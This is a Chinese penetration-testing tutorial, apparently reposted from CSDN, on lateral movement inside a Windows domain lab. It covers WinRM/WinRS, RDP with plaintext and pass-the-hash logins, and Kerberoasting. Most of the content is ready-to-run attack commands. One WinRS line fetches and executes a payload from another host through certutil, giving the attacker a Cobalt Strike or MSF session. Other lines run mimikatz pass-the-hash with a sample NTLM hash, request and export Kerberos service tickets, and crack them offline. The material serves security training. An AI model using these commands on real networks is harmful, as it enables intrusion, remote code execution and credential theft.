【内网安全】横向移动&Kerberos攻击&SPN扫描&WinRM&WinRS&RDP

章内容

IPC,WMI,SMB,PTH,PTK,PTT,SPN,WinRM,WinRS,RDP,Plink,DCOM,SSH;Exchange,LLMNR投毒,Kerberos_TGS,GPO&DACL,域控提权漏洞,约束委派,数据库攻防,系统补丁下发执行,EDR定向下发执行等。

域横向移动-WinRM&WinRS-明文&NTLM

利用WinRM服务,采用WinRS连接
WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。
默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。
移动条件:双方都启用的Winrm rs的服务!
使用此服务需要管理员级别凭据
Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动;
Windows 2012之后的版本默认允许远程任意主机来管理。

攻击机开启:

winrm quickconfig -q
winrm set winrm/config/Client @{
    
    TrustedHosts="*"}

在这里插入图片描述

1.探针可用:

cs 内置端口扫描5985
在这里插入图片描述

powershell Get-WmiObject -Class win32_service | Where-Object {
    
    $_.name -like "WinRM"}

2.连接执行:

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami
winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami

在这里插入图片描述

3.上线CS&MSF:

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe webserver4444.exe & webserver4444.exe"

4.CS内置移动-插件

在这里插入图片描述

域横向移动-RDP-明文&NTLM

远程桌面服务 支持明文及HASH连接
条件:对方开启RDP服务 远程桌面
RDP连接:

  • 直接在当前被控主机上进行远程连接(直接在webserver进行远程连接sqlserver)
  • 建立节点进行连接(使用代理工具) 推荐
  • 端口转发(将SQLserver 3389端口的流量转发至webserver 2222端口,需要上传工具)

在这里插入图片描述

1.探针服务:

cs 内置端口扫描3389

tasklist /svc | find "TermService" # 找到对应服务进程的PID
netstat -ano | find "PID值" # 找到进程对应的端口号
portscan 192.168.3.0-192.168.3.255 3389 arp 1024

在这里插入图片描述

2.探针连接:

CrackMapExec&MSF 批扫用户名密码验证

3.连接执行:

明文连接:

mstsc /console /v:192.168.3.32 /admin

HASH连接:

mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"		#mimikatz使用HASH连接

域横向移动-Spn&Kerberos-请求&破解&重写

Kerberoasting 攻击的利用流程:
•SPN服务发现
•请求服务票据(工具判断与powershell脚本判断)
•服务票据的导出(mimikatz导出)
•服务票据的暴力破解(使用密码字典进行RC4协议破解)

https://github.com/GhostPack/Rubeus
https://github.com/nidem/kerberoast
https://www.freebuf.com/articles/system/174967.html

如需利用需要配置策略加密方式(对比)
黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。
DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。
请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。
黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。
如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。

1.扫描与环境主机开启的服务:

powershell setspn -T GOd.org -q */*
powershell setspn -T God.org -q */* | findstr "MSSQL"

在这里插入图片描述

2.检测可用协议-工具:一对多请求-对域内主机自动请求

https://github.com/GhostPack/Rubeus
Rubeus kerberoast

3.检测可用协议-手工: 点对点请求-请求后产生票据文件

powershell Add-Type -AssemblyName System.IdentityModel

powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/fileserv.god.org:1433"

在这里插入图片描述
在这里插入图片描述

mimikatz kerberos::ask /target:MSSQLSvc/fileserv.god.org:1433

4.导出:

mimikatz kerberos::list /export

在这里插入图片描述

5.破解:
#只能对RC4加密协议进行破解,基于pass.txt字典破解

python3 tgsrepcrack.py pass.txt "0-40e00000-webserver$@krbtgt~GOD.ORG-GOD.ORG.kirbi"

参考

https://www.freebuf.com/articles/system/174967.html

猜你喜欢

转载自blog.csdn.net/weixin_53009585/article/details/129833640